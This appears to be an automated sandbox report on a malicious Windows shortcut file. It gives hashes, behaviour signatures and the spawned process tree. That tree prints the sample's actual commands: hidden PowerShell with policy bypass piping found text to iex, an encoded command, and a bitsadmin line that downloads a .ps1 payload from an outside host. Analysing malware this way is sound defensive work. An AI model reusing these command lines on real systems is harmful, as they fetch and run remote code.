Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/06/2024, 15:10

General

  • Target

    a11a90303a1542f465542239afc4ea60_JaffaCakes118.lnk

  • Size

    3KB

  • MD5

    a11a90303a1542f465542239afc4ea60

  • SHA1

    5a460235ae007d26e6938870c81c3913d6dbd61d

  • SHA256

    8d7de3083012dd352a020eee216a6acdf08aed1a1f69cce481f7353274e4c82c

  • SHA512

    76096ca945c2c31d50c7daba6b7f140a8cda4d3b1bf411f4cc7fe10e151086cd2e0703f8b0b8f7ad181f6959491b6961ec27361eb9de8700a4958cac338e94b2

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\a11a90303a1542f465542239afc4ea60_JaffaCakes118.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -eP ByPass -nonI -c "&{powershell -wi"N "hi"dDen -c {$b7oc=findstr /s mrildkpased c:\users\*.lnk; "$b7oc" | iex}}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:664
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -wiN hidDen -encodedCommand JABiADcAbwBjAD0AZgBpAG4AZABzAHQAcgAgAC8AcwAgAG0AcgBpAGwAZABrAHAAYQBzAGUAZAAgAGMAOgBcAHUAcwBlAHIAcwBcACoALgBsAG4AawA7ACAAJABiADcAbwBjACAAfAAgAGkAZQB4AA== -inputFormat xml -outputFormat text
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1424
        • C:\Windows\system32\findstr.exe
          "C:\Windows\system32\findstr.exe" /s mrildkpased c:\users\*.lnk
          4⤵
            PID:1912
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /C echo 1 > C:\Users\Admin\AppData\Roaming\\d & bitsadmin /transfer mrildkpased /download /priority FOREGROUND "https://internetmarketing4pros.com/marco/pro" C:\Users\Admin\AppData\Roaming\\vWjXOBtIxaArTN.ps1 & del C:\Users\Admin\AppData\Roaming\\d & exit
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4888
            • C:\Windows\system32\bitsadmin.exe
              bitsadmin /transfer mrildkpased /download /priority FOREGROUND "https://internetmarketing4pros.com/marco/pro" C:\Users\Admin\AppData\Roaming\\vWjXOBtIxaArTN.ps1
              5⤵
              • Download via BitsAdmin
              PID:2900

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qlcftper.bt5.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/664-2-0x00007FF84DBE3000-0x00007FF84DBE5000-memory.dmp

      Filesize

      8KB

    • memory/664-12-0x00000285713C0000-0x00000285713E2000-memory.dmp

      Filesize

      136KB

    • memory/664-13-0x00007FF84DBE0000-0x00007FF84E6A1000-memory.dmp

      Filesize

      10.8MB

    • memory/664-14-0x00007FF84DBE0000-0x00007FF84E6A1000-memory.dmp

      Filesize

      10.8MB

    • memory/664-25-0x00007FF84DBE0000-0x00007FF84E6A1000-memory.dmp

      Filesize

      10.8MB

    • memory/664-26-0x00007FF84DBE0000-0x00007FF84E6A1000-memory.dmp

      Filesize

      10.8MB